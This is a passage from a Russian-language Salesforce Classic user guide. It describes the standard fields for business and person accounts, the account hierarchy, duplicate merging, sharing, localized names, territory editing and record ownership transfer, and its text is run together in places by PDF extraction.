списка стандартных значений или
вводится как текст. Поле, являющееся
текстовым, может содержать не более
80 символов.

 (D&B)Часть адреса для выставления счета:
названиеобластиилиштата. Значение

Область/штат для счета

выбирается из раскрывающегося
списка стандартных значений или
вводится как текст. Поле, являющееся
текстовым, может содержать не более
80 символов.

 (D&B)Часть адреса для выставления счета:
название улицы. Данное поле может
содержать не более 255 символов.

Улица для счета

 (D&B)Часть адреса для выставления счета:
почтовыйиндекс. Данноеполеможет
содержать не более 20 символов.

Почтовый индекс для счета

 (Data.com)Статус очистки записипо сравнению
сData.com. Возможныезначения: «Не

Статус очистки

сравнивалось», «Синхронизировано»,
«Просмотрено», «Отличается», «Не
найдено» и «Неактивно». Данное
поле доступно только организациям,
использующим продукт Data.com
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Допускает значение Data.com или
D&B

ОписаниеПоле

Prospector или функцию очистки
Data.com Clean.

Прим.: Если организации
очищаются с помощью
продукта Data.com Prospector
илифункцииData.com Clean, то
Data.com ежемесячно
преобразуетвалюты, отличные
от USD, в USD, чтоможет вызвать
изменение значений поля
«Годовой доход». Если
организацияиспользуетвалюту,
отличную от USD, то поле
«Годовой доход» пропускается
при определении статуса
очистки записи (поэтому
значение поля «Статус
очистки» не меняется).

Пользователь, создавший
организацию, а также дата и время
создания. (Только для чтения)

Создано

 (Data.com)Код компании в Data.com. При
сравнении записей Salesforce с

Ключ Data.com

записями Data.com (посредством
ручнойилиавтоматическойочистки)
и обнаружении совпадений Data.com
числовое значение данного поля
используется для связывания двух
записей.

 (D&B)Ссылка на соответствующую запись
компании D&B, котораясодержитполя

Компания D&B

D&B для организации. Чтобы связать
организацию с другой записью
компании D&B, воспользуйтесь
функцией поиска. Данное поле
доступно только организациям,
использующим продукт Data.com
Premium Prospector или Data.com
Premium Clean.

 (D&B)Описание организации. Данное поле
поддерживает ввод не более 32 Кб

Описание
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Допускает значение Data.com или
D&B

ОписаниеПоле

данных. В отчетах отображаются
только первые 255 символов.

 (D&B)Номер D-U-N-S — это уникальный
девятизначный номер, назначаемый

Номер D-U-N-S

каждому офису организации в базе
данных D&B, функции которого
отличаются от функций других
офисов. Организации по всему миру
используютномера D-U-N-S в качестве
международного стандарта для
коммерческой идентификации и
отслеживания. Данноеполедоступно
толькоорганизациям, использующим
продукт Data.com Prospector или
функцию очистки Data.com Clean.

Прим.: Чтобы просмотреть
полный номер D-U-N-S,

• добавьте организацию в
систему Salesforce, или

• очистите организацию
посредством Data.com, если
она ужедоступнав Salesforce.

Если запись не добавлена или
не очищена, то ее первые пять
цифр заменяются звездочками
(*).

 (D&B)Количество работников в
организации.

Сотрудники

Если данныйфлажок установлен, то
правиланазначениявыполняютсяпри

При сохранении оценить данную
организацию по правилам
территории редактировании и сохранении

организации. Отображение данного
поля и наличие установленного
флажка определяются
администратором при настройке
макета страницыдляорганизаций. См.
раздел «Управление территориями»
на странице 1453.

Если данныйфлажок установлен, то
организация не оценивается при

Исключить из правил назначения
территорий

выполнении правил назначения, то
есть автоматическое назначение
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Допускает значение Data.com или
D&B

ОписаниеПоле

территориям не выполняется. Кроме
того, организация, назначенная
территориямврезультатевыполнения
правил назначения, удаляется из этих
территорий при установке данного
флажка. Наличие данного флажка
влияет только на назначения
организации, основанныенаправилах,
и не влияет на назначения,
выполненные вручную. См. раздел
«Управление территориями» на
странице 1453.

 (D&B)Номер факса. Данное поле может
содержать не более 40 символов.

Факс

 (Data.com)Основной род деятельности
организации. Запись выбирается из

Отрасль

раскрывающегося списка доступных
значений, заданныхадминистратором.
Каждое значение раскрывающегося
списка может содержать не более
40 символов.

Пользователь, которыйизменялполя
организации последним, а также дата

Изменено

и время изменения. Данное поле не
отслеживает изменения, внесенные в
любые элементы связанного списка
организации. (Только для чтения)

 (D&B)Шестизначный код NAICS — это
стандарт, используемый в

Код NAICS

правительственных и деловых кругах
для классификации коммерческих
предприятий по 20 отраслям в
соответствии с их экономической
активностью. Использованиеданного
кода позволяет собирать,
анализировать и публиковать
статические данные, связанные с
деловой экономикой США. Данное
поле доступно только организациям,
использующим продукт Data.com
Prospector или функцию очистки
Data.com Clean.
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Допускает значение Data.com или
D&B

ОписаниеПоле

 (D&B)Краткое описание рода деятельности
организации на основе кода NAICS.

Описание NAICS

Данное поле доступно только
организациям, использующим
продукт Data.com Prospector или
функцию очистки Data.com Clean.

 (D&B)Форма собственности компании
(например, общественнаяилиличная).

Ответственность

Запись выбирается из
раскрывающегося списка доступных
значений, заданныхадминистратором.
Каждое значение раскрывающегося
списка может содержать не более
40 символов.

Компания, являющаяся головной по
отношению к дочерним

Родительская организация

организациям. Родительская
организация должна быть доступна в
системе Salesforce. Имя организации
может быть введено самостоятельно
или выбрано (при необходимости
создано) с помощью значка поиска.

Поле, определяющее статус
организации в качестве партнера.

Организация-партнер

Данное поле доступно только для
чтения.

 (D&B)Основной номер телефона
организации. Данное поле может
содержать не более 40 символов.

Тел.

Присвоение рейтинга организации
(например, Hot или Cold). Запись

Рейтинг

выбирается из раскрывающегося
спискадоступныхзначений, заданных
администратором. Каждое значение
раскрывающегося списка может
содержать не более 40 символов.

 (D&B)Часть основного почтового адреса
или адреса для доставки: название

Город доставки

города. Данноеполеможет содержать
не более 40 символов.

 (D&B)Часть основного почтового адреса
или адреса для доставки: название

Страна доставки
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Допускает значение Data.com или
D&B

ОписаниеПоле

страны. Значение выбирается из
раскрывающегосяспискастандартных
значений или вводится как текст.
Поле, являющееся текстовым, может
содержать не более 80 символов.

 (D&B)Часть основного почтового адреса
или адреса для доставки: название

Область/штат доставки

области илиштата. Значение
выбирается из раскрывающегося
списка стандартных значений или
вводится как текст. Поле, являющееся
текстовым, может содержать не более
80 символов.

 (D&B)Часть основного почтового адреса
организацииилиадресадлядоставки:

Улица доставки

название улицы. Данное поле может
содержать не более 255 символов.

 (D&B)Часть основного почтового адреса
или адреса для доставки: почтовый

Почтовый индекс доставки

индекс. Данноеполеможет содержать
не более 20 символов.

 (D&B)Код основного рода деятельности
организации. Данное поле может
содержать не более 10 символов.

Код SIC

 (D&B)Краткое описание рода деятельности
организации на основе кода SIC.

Описание SIC

Территории, назначенные
организации. См. раздел «Управление
территориями» на странице 1453.

Данное поле недоступно
организациям, использующим

Территории

функцию управления территориями
предприятия. Функция управления
территориями предприятия
поддерживает связанный список
«Назначенныетерритории», который
может быть добавлен в макеты
страниц организаций.

 (D&B)Буквенноесокращение, используемое
дляопределенияпубличноторгуемых

Биржевой символ

акций отдельной компании. Также
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Допускает значение Data.com или
D&B

ОписаниеПоле

называется биржевым символом
акций. Данное поле может содержать
не более 20 символов.

 (D&B)Имя, используемое для ведения
деятельности и отличающееся от

Торговый стиль

юридического. Аналогично
официальному названию (DBA-имя).
Данное поле доступно только
организациям, использующим
продукт Data.com Prospector или
функцию очистки Data.com Clean.

Тип организации (например, клиент,
конкурент или партнер). Запись

Тип

выбирается из раскрывающегося
спискадоступныхзначений, заданных
администратором. Каждое значение
раскрывающегося списка может
содержать не более 40 символов.

Список настраиваемых ссылок для
организаций, заданных
администратором.

Настраиваемые ссылки

 (Data.com)URL-адрес веб-сайта организации
(например, www.acme.com). Данное

Веб-сайт

поле может содержать не более
255 символов; отображаются только
первые 50 символов.

 (D&B)Год основания компании или год
приобретения контрольного пакета

Год начала

текущим руководством. Если год
основания или приобретения
компаниинедоступен, тоиспользуется
год создания записи Dun & Bradstreet.
D&B непредоставляетданныесведения
для филиалов.Данное поле доступно
толькоорганизациям, использующим
продукт Data.com Prospector или
функцию очистки Data.com Clean.

Поля организаций-лиц
Нижеперечисленыстандартныеполя, доступныеворганизациях-лицах. Взависимостиотиспользуемогомакета страницы
и параметров безопасности полей некоторые поля могут быть скрыты или недоступны для редактирования.Поля,
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помеченные галочкой в столбце «Поле контакта», доступны в контактах и поддерживаются организациями-лицами, но
не поддерживаются организациями-компаниями.

Обратите внимание, что данный список не содержит настраиваемых полей, которые могли быть добавлены
администратором. Организации-лица поддерживают настраиваемые поля организаций и контактов.

Поле контактаОписаниеПоле

Стандартная валюта для всех полей
валюты в организации. Стоимость

Валюта организации

отображается в валюте организации, а
также преобразуется в личную валюту
пользователя. Данное поле доступно
толькомультивалютныморганизациям.

Подразделение, которому
принадлежит организация. Записи,

Подразделение организации

связанные с организацией (например,
контакты и возможности),
автоматически наследуют ее
подразделение. Данноеполедоступно
только для организаций,
использующих подразделения для
сегментирования данных.

Имя отдельного лица. Имя
организации-лица не может быть

Имя организации

измененонапрямую. СистемаSalesforce
комбинирует имя организации на
основе полей «Личное имя» и
«Фамилия», порядок отображения
которых определяется языковыми
параметрами пользователя. Если
организация использует поля
«Отчество» и «Суффикс», то данные
поля также являются частью имени
организации.

Имя организации, переведенное на
родной язык.

Имя организации (на родном языке)

Регистрационный номер или номер
отслеживания организации. Данное

Номер организации

поле может содержать не более
40 символов.

Назначенный ответственный за
организацию. Недоступно в версии
Personal Edition.

Ответственный за организацию

Имя поля, которое определяет
значения раскрывающегося списка,

Тип записи организации
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Поле контактаОписаниеПоле

доступные для записи. Доступно в
версиях Enterprise Edition, Unlimited
Edition, Performance Edition и Developer
Edition.

Сведения о местоположении
организации (например, «Один офис»,

Местоположение организации

«Головной офис» или «Филиал»).
Данноеполеможетсодержатьнеболее
80 символов.

Сумма дохода за год.Годовой доход

Ассистент контакта. Не более 40
символов.

Ассистент

Номер телефона ассистента. Не более
40 символов.

Тел. ассистента

Часть адреса для выставления счета:
название города. Данное поле может
содержать не более 40 символов.

Город для счета

Часть адреса для выставления счета:
названиестраны. Значениевыбирается

Страна для счета

из раскрывающегося списка
стандартных значений или вводится
как текст. Поле, являющеесятекстовым,
можетсодержатьнеболее 80 символов.

Часть адреса для выставления счета:
названиеобластиилиштата. Значение

Область/штат для счета

выбирается из раскрывающегося
списка стандартных значений или
вводится как текст. Поле, являющееся
текстовым, может содержать не более
80 символов.

Часть адреса для выставления счета:
название улицы. Данное поле может
содержать не более 255 символов.

Улица для счета

Часть адреса для выставления счета:
почтовый индекс. Данное поле может
содержать не более 20 символов.

Почтовый индекс для счета

День рождения контакта. Щелкните
поле и выберите дату в календаре.

Дата рождения
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Поле контактаОписаниеПоле

Пользователь, создавший
организацию, а также дата и время
создания. (Только для чтения)

Создано

Список настраиваемых ссылок для
организаций, заданных
администратором.

Настраиваемые ссылки

Связанноеподразделениеорганизации.
Не более 80 символов.

Отдел

Описание организации. Данное поле
поддерживает ввод не более 32 Кб

Описание

данных. В отчетах отображаются
только первые 255 символов.

Желает ли контакт, чтобы свзяь
осуществлялась по телефону. При

Не звонить

использованииData.com значениеполя
«Телефон» не отображается в
результатахпоискаибизнес-карточках,
а также отсутствует в .csv-файлах,
созданных во время экспорта записей.

Адрес эл. почты контакта. Требуется
действительный адрес электронной
почты. Не более 80 символов.

Эл. почта

Желает ли контакт получать
электронные сообщения. При

Без рассылки по эл. почте

использованииData.com значениеполя
«Эл. почта» не отображается в
результатахпоискаибизнес-карточках,
а также отсутствует в .csv-файлах,
созданных во время экспорта записей.

Количествоработниковворганизации.Сотрудники

Если данныйфлажок установлен, то
правиланазначениявыполняютсяпри

При сохранении оценить данную
организацию по правилам
территории редактировании и сохранении

организации. Отображение данного
поля и наличие установленного
флажка определяются
администратором при настройке
макета страницыдля организаций. См.
раздел «Управлениетерриториями»на
странице 1453.
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Поле контактаОписаниеПоле

Если данныйфлажок установлен, то
организация не оценивается при

Исключить из правил назначения
территорий

выполнении правил назначения, то
есть автоматическое назначение
территориям не выполняется. Кроме
того, организация, назначенная
территориямврезультате выполнения
правил назначения, удаляется из этих
территорий при установке данного
флажка. Наличие данного флажка
влияет только на назначения
организации, основанныенаправилах,
и не влияет на назначения,
выполненные вручную. См. раздел
«Управление территориями» на
странице 1453.

Номер факса. Данное поле может
содержать не более 40 символов.

Факс

Желает ли контакт быть включенным
в список рассылок по факсу.

Без рассылки по факсу

Имя отдельного лица. Данное поле
можетсодержатьнеболее 40 символов.

Личное имя

Номердомашнего телефона контакта.
Не более 40 символов.

Дом. тел.

Основной род деятельности
организации. Запись выбирается из

Отрасль

раскрывающегося списка доступных
значений, заданныхадминистратором.
Каждое значение раскрывающегося
списка может содержать не более
40 символов.

Фамилия отдельного лица. Данное
поле может содержать не более
80 символов.

Фамилия

Дата отправки последнего запроса об
обновлении контактов.

Дата последнего запроса об
обновлении контактов

Дата последнего объединения
контактов, полученных в результате
отправки запроса об их обновлении.

Дата последнего сохранения
обновления контактов

Источник записи: например, реклама,
партнер или Интернет. Источник

Источник интереса

выбирается из раскрывающегося

1274

Определение клиентов, конкурентов и партнеровПродажи клиентам



Поле контактаОписаниеПоле

списка доступных значений, заданных
администратором. Не более 40
символов на каждое значение из
раскрывающегося списка.

Часть почтового адреса: название
города. Не более 40 символов.

Город в почтовом адресе

Часть почтового адреса: название
страны. Значение выбирается из

Страна в почтовом адресе

раскрывающегосясписка стандартных
значенийиливводится как текст. Поле,
являющееся текстовым, может
содержать не более 80 символов.

Часть почтового адреса: название
области илиштата. Значение

Область/штат в почтовом адресе

выбирается из раскрывающегося
списка стандартных значений или
вводится как текст. Поле, являющееся
текстовым, может содержать не более
80 символов.

Часть почтового адреса: название
улицы. Не более 255 символов.

Улица в почтовом адресе

Часть почтового адреса: почтовый
индекс. Не более 20 символов.

Индекс в почтовом адресе

Отчество отдельного лица. Данное
поле может содержать не более
40 символов.

Отчество

Прим.: Чтобывключитьданное
поле, обратитесь в службу
поддержки Salesforce. Введите
строку «Пользовательский
интерфейс» в поле «Быстрый
поиск» в меню «Настройка» и
выберите пункт
«Пользовательский
интерфейс». Затем выберите
Включить суффиксы для имен
пользователей.

Номермобильноготелефонаконтакта.
Не более 40 символов.

Мобильный

Пользователь, который изменял поля
организации последним, а также дата

Изменено
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Поле контактаОписаниеПоле

и время изменения. Данное поле не
отслеживает изменения, внесенные в
любые элементы связанного списка
организации. (Только для чтения)

Часть другого почтового адреса
контакта: название города. Неболее 40
символов.

Другой город

Часть дополнительного адреса:
названиестраны. Значениевыбирается

Другая страна

из раскрывающегося списка
стандартных значений или вводится
как текст. Поле, являющеесятекстовым,
можетсодержатьнеболее 80 символов.

Другой номер телефона контакта. Не
более 40 символов.

Другой тел.

Часть дополнительного адреса:
названиеобластиилиштата. Значение

Другие область/штат

выбирается из раскрывающегося
списка стандартных значений или
вводится как текст. Поле, являющееся
текстовым, может содержать не более
80 символов.

Часть другого почтового адреса
контакта: названиеулицы. Неболее 255
символов.

Другая улица

Часть другого почтового адреса
контакта: почтовый индекс. Не более
20 символов.

Другой почтовый индекс

Форма собственности компании
(например, общественнаяилиличная).

Ответственность

Запись выбирается из
раскрывающегося списка доступных
значений, заданныхадминистратором.
Каждое значение раскрывающегося
списка может содержать не более
40 символов.

Основной номер телефона
организации. Данное поле может
содержать не более 40 символов.

Тел.

Присвоение рейтинга организации
(например, Hot или Cold). Запись

Рейтинг

выбирается из раскрывающегося
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Поле контактаОписаниеПоле

списка доступных значений, заданных
администратором. Каждое значение
раскрывающегося списка может
содержать не более 40 символов.

Приветствие при обращении к
контакту (например, господин, госпожа,

Приветствие

профессор). Запись выбирается из
раскрывающегося списка доступных
значений, заданныхадминистратором.
Не более 40 символов.

Частьосновногопочтовогоадресаили
адреса для доставки: название города.

Город доставки

Данноеполеможетсодержатьнеболее
40 символов.

Частьосновногопочтовогоадресаили
адреса для доставки: название страны.

Страна доставки

Значение выбирается из
раскрывающегосясписка стандартных
значенийиливводится как текст. Поле,
являющееся текстовым, может
содержать не более 80 символов.

Частьосновногопочтовогоадресаили
адреса для доставки: название области

Область/штат доставки

илиштата. Значение выбирается из
раскрывающегосясписка стандартных
значенийиливводится как текст. Поле,
являющееся текстовым, может
содержать не более 80 символов.

Часть основного почтового адреса
организации или адреса для доставки:

Улица доставки

название улицы. Данное поле может
содержать не более 255 символов.

Частьосновногопочтовогоадресаили
адреса для доставки: почтовыйиндекс.

Почтовый индекс доставки

Данноеполеможетсодержатьнеболее
20 символов.

Код основного рода деятельности
организации. Данное поле может
содержать не более 10 символов.

Код SIC
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Поле контактаОписаниеПоле

Суффикс имени отдельного лица.
Данноеполеможетсодержатьнеболее
40 символов.

Суффикс

Прим.: Чтобывключитьданное
поле, обратитесь в службу
поддержки Salesforce. Введите
строку «Пользовательский
интерфейс» в поле «Быстрый
поиск» в меню «Настройка» и
выберите пункт
«Пользовательский
интерфейс». Затем выберите
Включить суффиксы для имен
пользователей.

Территории, назначенные
организации. См. раздел «Управление
территориями» на странице 1453.

Территории

Буквенное сокращение, используемое
для определения публично торгуемых

Биржевой символ

акций отдельной компании. Также
называетсябиржевымсимволомакций.
Данноеполеможетсодержатьнеболее
20 символов.

Должность контакта внутри
организации. Не более 80 символов.

Должность

Тип организации (например, клиент,
конкурент или партнер). Запись

Тип

выбирается из раскрывающегося
списка доступных значений, заданных
администратором. Каждое значение
раскрывающегося списка может
содержать не более 40 символов.

URL-адрес веб-сайта организации
(например, www.acme.com). Данное

Веб-сайт

поле может содержать не более
255 символов; отображаются только
первые 50 символов.

СМ. ТАКЖЕ:

Организации
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Журнал организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Связанный список «Журнал организации» на странице сведений об организации
отслеживает изменения, внесенные в данную организацию. При каждом изменении
отслеживаемогостандартногоилинастраиваемогополяорганизациивсвязанныйсписок
«Журналорганизации» добавляетсяновая запись. Дляорганизаций-лицотслеживаются
любые соответствующие поля контактов. Все записи журнала содержат информацию
о дате, времени, характере и авторе изменений. Журнал организации не фиксирует
изменения, вносимые в связанные списки организации.

СМ. ТАКЖЕ:

Организации

Просмотр родительских организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для просмотра
родительских организаций:
• «Чтение» для

организаций

Иерархия организаций содержит организации, связанные посредством поля
«Родительская организация», благодаря чему пользователи могут получить общее
представление о компании и ее филиалах. Данная иерархия предназначена для
отображения взаимосвязи между текущими и вышестоящими организациями.

• Чтобыпросмотретьиерархиюорганизаций, щелкнитессылку«Просмотриерархии»
в поле «Имя организации» на странице сведений об организации. Страница
«Иерархия организации» может содержать не более 500 дочерних организаций.
Столбцы для организаций, которые отображаются на странице «Иерархия
организации», но недоступны пользователям, будут пустыми.

• Чтобы связать организации, нажмите кнопку «Правка» и введите имя текущей
организации в поле «Родительская организация». Чтобы найти или создать
родительскую организацию, щелкните значок поиска.

Данноеполепозволяет вводитьи сохранять только текущиеродительскиеорганизации.

Приналичиинесколькихфилиаловрекомендуемиспользоватьполе «Местоположение
организации», позволяющее отличить один филиал от другого.

Есливключенаподдержкаподразделений, тоорганизации, связанныепосредствомполя
«Родительская организация», могут относиться к разным подразделениям.
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Организации-лица не поддерживают поле «Родительская организация» и ссылку «Просмотр иерархии».

СМ. ТАКЖЕ:

Поля организаций

Рекомендации по созданию организаций

Объединение повторяющихся организаций

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-компании
доступны в версиях: все
версии, кроме
Database.com Edition.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
организаций:
• «Чтение» для

организаций

Для объединения
организаций-компаний:
• «Удаление» для

организаций

Для объединения
организаций-лиц:
• «Удаление» для

организаций

И

«Чтение» для контактов

1. Щелкнитессылку«Объединениеорганизаций»вразделе «Инструменты» навкладке
«Организации».

2. Чтобы найти повторяющиеся организации, введите критерий поиска.

Например, вы можете ввести *tech, чтобы найти повторяющиеся организации,
указанные как «Ecotech» и «Ekotech». Неиспользуйте локальноеимя для организации.
Нажмите кнопку «Найти организации».

3. Установитефлажкинапротивнужныхорганизаций (неболее трех). Нажмите кнопку
«Далее».

4. Выберите одну организациюв качестве основной записи. Любые данные в скрытых
полях или полях, доступных только для чтения, извлекаются из основной записи.
Пользователи с полномочием «Редактирование полей только для чтения» могут
вручную выбирать поля, доступные только для чтения, которые должны быть
сохранены.

5. Выберите нужные поля в каждой записи.

В случае конфликта данных, поля в левом столбце выбираются автоматически, а
строка выделяется синим цветом.

6. Чтобы завершить объединение, нажмите кнопку «Объединить».

Рекомендации по объединению организаций
• Объединение организаций доступно администратору, ответственному или его

менеджеру в иерархии ролей, а также пользователю с соответствующими
полномочиями.

• Объединение двух чужих организаций доступно только при наличии полномочий
«Удаление» дляорганизацийи «Правка» длявозможностейиобращений. Полномочие
«Удаление» необходимо для удаления одной из двух организаций, которое
выполняется в результате их объединения. Полномочие «Правка» необходимо для
редактирования возможностей и обращений, связанных с объединяемыми
организациями, котороевыполняетсяврезультатеизмененияполя «Имяорганизации»
(AccountID).

• Любые связанные элементы из любой повторяющейся организации будут связаны
с новой объединенной организацией.

• В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition правила общего
доступа применяются к объединенной организации. Кроме того, объединенная организация использует любой
общий доступ, установленный вручную для основной записи.

• Все удаленные повторяющиеся записи перемещаются в корзину.
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• Если флажок «Исключить из правил назначения организаций» снят для обеих объединяемых организаций,
имеющих территории, то правила назначения будут определять территории новой организации. А территории,
добавленные в исходные организации вручную, будут добавлены в новую организацию также вручную.

• Еслифлажок «Исключить из правил назначения организаций» установленкакминимумдляоднойобъединяемой
организации, имеющей территории, то выполняются указанные ниже действия.

– Объединенная организация содержит все территории исходных организаций.

– Правила назначения организаций не применяются к объединенной организации.

– Территория, назначенная одной из исходных организаций на основе правил назначения, отображается как
территория, назначенная новой организации на основе правил, даже в том случае, если новая организация не
соответствует этим правилам.

– Территория, назначенная одной из исходных организаций вручную, назначается новой организации также
вручную.

– Территория, добавленная в одну организацию вручную, а в другую — на основе правил, добавляется в новую
организацию также вручную.

Рекомендации по объединению организаций с участниками рабочих групп
• Еслиобеорганизациииспользуютразныерабочие группы, тообъединеннаяорганизациябудет содержать участников

обеих рабочих групп.

• Припредоставленииучастникамрабочих группболее высокого уровнядоступаорганизациимогутбытьобъединены
только при наличии соответствующего полномочия «Изменение всех данных». Например, при предоставлении
участнику рабочей группы более высокого уровня доступа к любым дочерним записям организации ответственный
за организацию может объединить организации только при наличии полномочия «Изменение всех данных».

Рекомендации по объединению организаций-лиц
• Есливключенаподдержкаорганизаций-лиц, товрезультатепоискаповторовотображаютсякакорганизации-компании,

так и организации-лица. Однако организации-лица не могут быть объединены с организациями-компаниями.
Организации-лица обозначаются значком организации-лица ( ).

• Организации-лица, для которых включена поддержка клиентского портала, не могут быть объединены.

Рекомендации по объединению организаций, связанных с порталами
• Объединение организаций, связанных с порталами, доступно только при наличии полномочия «Управление

пользователями».

• Организациимогут быть объединены только приналичии контактов, связанных с порталомодного типа. Например,
организации, контакты которых связаны с партнерскимили клиентскимпорталом, могут быть объединены, тогда как
организации, чьиконтактысвязаныспартнерскимпорталом, немогутбытьобъединенысорганизациями, чьиконтакты
связаны с клиентским порталом.

При объединении организаций, контакты которых связаны с несколькими порталами одного типа, уровень доступа
контактов к определенному порталу не меняется, так как он определяется профилем пользователя портала.

• Организация-партнер, объединяемая с организацией, котораяне являетсяпартнером, должнабыть выбрана в качестве
основной записи.

• При объединении организации-партнера с организацией, которая не является партнером, смена ответственности не
поддерживается.
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• Чтобы добавить контакты, связанные с порталом, в объединенную организацию, выберите организацию с
пользователями портала в качестве основной записи.

Рекомендации по объединению организаций, назначенных территориям посредством функции
управления территориями 2.0

Ниже перечислены действия, выполняемые при объединении организаций, использующих территории.

• Любые назначенные вручную территории (для моделей во всех состояниях) исходных организаций будут вручную
добавлены в объединенную организацию, при условии, что данные территории еще не связаны с объединенной
организацией.

• Правиланазначениявыполняютсядляобъединеннойорганизацииактивноймоделитерриториитолькоприналичии
флажка «Выбрать по умолчанию», установленного для параметра «При сохранении оценить данную организацию
по правилам территории» в свойствах соответствующего макета страницы.

• Если поле «Исключить из правил назначения территорий» содержит объединенное значение «истина», то: 1)
правиланазначениятерриторийнеоцениваютсядажеприналичиифлажка «Выбрать по умолчанию», установленного
для параметра «При сохранении оценить данную организацию по правилам территории» в свойствах
соответствующего макета страницы; 2) любое текущее правило на основе связей между территориями в активной
модели удаляется из объединенной организации.

• Прииспользованиинеактивныхмоделейтерритории («Планирование» или «Архивировано») связанныетерритории
на основе правила не изменяются для объединенной организации даже при несоответствии значений полей
объединенной организации заданным правилам.

Предоставление общего доступа к организациям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-компании
доступны в версиях: Все
версии, кроме
Database.com.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Модель общего доступа организации и стандартные уровни доступа к территориям
определяютсяадминистратором. Однакопользователимогутрасширитьуровеньдоступа
к собственным данным для отдельных организаций. Предоставление общего доступа к
организациям позволяет расширить текущий уровень доступа; стандартные уровни
доступа организации не могут быть дополнительно ограничены.

Для просмотра и управления сведениями об общем доступе нажмите кнопку «Общий
доступ»настраницесведенийоборганизации. Страница «Сведенияобобщемдоступе»
содержит список пользователей, групп, ролей и территорий, имеющих общий доступ
к организации. Ниже перечислены действия, доступные на данной странице.

• Чтобыпредоставитьдругимпользователям, группам, ролямилитерриториямдоступ
к записи, нажмите кнопку «Добавить».

Прим.: Припредоставленииобщего доступа к организации система Salesforce
предлагает предоставить общий доступ к любым связанным контактам,
возможностям или обращениям, вплоть до текущего уровня доступа. Кроме
того, версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer
Edition позволяют предоставлять общий доступ к связанным записям прямо на
соответствующихстраницах сведений. Убедитесь, чтообщедоступные записи
доступны пользователям как минимум для чтения.

Такжеобщийдоступ корганизацииможетбытьпредоставленпутемсоздания группы, работающейсорганизациями.

• Чтобы просмотреть всех пользователей, имеющих доступ к записи, нажмите кнопку «Развернуть список».
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• Чтобы изменить или удалить уровень доступа, щелкните ссылку «Правка» или «Удал.» напротив нужного элемента
списка при использовании созданных правил общего доступа, предоставляемого вручную. Кроме того, можете
изменить правило общего доступа «Ответственный» для организаций.

СМ. ТАКЖЕ:

Управление территориями

Группы, работающие с организациями

Запись переведенных имен

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-компании
доступны в версиях: Все
версии, кроме
Database.com.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать поля локальных имен для хранения переведенных имен
организаций, контактов или интересов.

Например, имяорганизацииможетбытьсохраненонаязыкеорганизациипоумолчанию
и на языке пользователя. Ниже перечислены поля, значения которых могут иметь
локальный вариант.

Поле локального имениСтандартное поле

Имя организации (на родном языке)Имя организации

Контакт: Личное имя (на родном языке)Контакт: Личное имя

Контакт: Отчество (на родном языке)Контакт: Отчество

Контакт: Фамилия (на родном языке)Контакт: Фамилия

Интерес: Название компании (на родном
языке)

Интерес: Компания

Интерес: Личное имя (на родном языке)Интерес: Личное имя

Интерес: Отчество (на родном языке)Интерес: Отчество

Интерес: Фамилия (на родном языке)Интерес: Фамилия

Локальные имена не влияют на языковые настройки пользователя. В зависимости от параметров макета страницы, оба
имени могут отображаться на странице сведений или редактирования.

СМ. ТАКЖЕ:

Организации
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Изменение территорий организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Организации-компании
доступны в версиях: Все
версии, кроме
Database.com.

Организации-лица
доступны в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения территорий
организации:
• «Управление

территориями»

ИЛИ

You are a forecast
manager. Forecast
managers can manage
territories of those users
working below them in
territory hierarchy.

Чтобыизменитьтерритории, назначенныеорганизациивручную, выполнитеуказанные
ниже действия.

1. Щелкните ссылку «Изменить» в поле «Территории» на странице сведений об
организации.

2. Просмотритетерритории, которыесодержаторганизацию, добавленнуюпосредством
активныхправилназначения, вполе «Назначения территорий на основе правил».
Данная страница не может использоваться для удаления организации из этих
территорий. Чтобыудалитьорганизацию, рекомендуемизменитьправиланазначения,
использованные для ее оценки.

3. Чтобы просмотреть имена территорий, назначенных организации вручную,
воспользуйтесь полем «Выбранные территории».

4. Чтобы переместить территории из списка «Доступные территории» в список
«Выбранные территории» или наоборот, воспользуйтесь кнопкой «Выбрать» или
«Отменить выбор».

5. Чтобы разместить список «Выбранные территории» рядом или под списком
«Доступные территории», щелкните «Горизонтальное представление» или
«Вертикальное представление».

6. Выберите территории, которые должны быть вручную назначены организации, и
нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Управление территориями

Назначение организаций вручную территориям
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Изменение ответственного за запись

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для переноса отдельных
записей:
• «Перенос записи»

Вы можете передать ответственность за запись другому пользователю, если он имеет
хотя бы полномочие «Чтение» для передаваемого типа записи.

1. Щелкнитепоссылкенастраницесведенийозаписи, чтобыизменитьответственного.

Ответственность за запись может быть изменена только при наличии ссылки
«Изменить».

2. Укажите или выберите имя нового ответственного. Если организация использует
клиентский или партнерский портал Salesforce, то результаты, отображающиеся в
диалоговом окне поиска пользователя, могут быть отфильтрованы путем выбора
очереди или группы пользователей в раскрывающемся списке «Ответственный»
или «Назначено».

